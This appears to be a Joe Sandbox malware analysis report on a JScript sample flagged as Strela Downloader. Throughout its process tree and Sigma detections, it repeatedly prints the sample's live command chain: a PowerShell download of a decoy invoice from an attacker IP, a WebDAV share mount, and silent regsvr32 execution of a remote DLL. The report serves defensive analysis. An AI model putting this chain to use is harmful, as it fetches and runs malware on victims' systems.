Edit tour

Windows Analysis Report
2986414422293398212.js

Overview

General Information

Sample name:	2986414422293398212.js
Analysis ID:	1587948
MD5:	9ed8cc31454c2576528c33190d6e12d2
SHA1:	b45962c6ff16c1c8bf7a470591756c9297c22f8b
SHA256:	9cd9f7b99d9834af06c9fa510d9928ab90cfb083f7f5e364d74c5344d25e4c39
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6356 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6612 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2316 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4460 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7100 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7196 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1668,i,2120020027183295763,11696217655528420210,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6584 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2120 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4176 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6356	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6612, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2316, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6612, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2316, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js", ProcessId: 6356, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2120, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, ProcessId: 6612, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, ProcessId: 6612, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, ProcessId: 6612, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, ProcessId: 6612, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, ProcessId: 6612, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js", ProcessId: 6356, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6612, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2316, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6584, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2120, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4176, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6584, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2120, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll, ProcessId: 6612, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:42:02.434856+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:41:59.969213+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2986414422293398212.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2986414422293398212.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:41:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

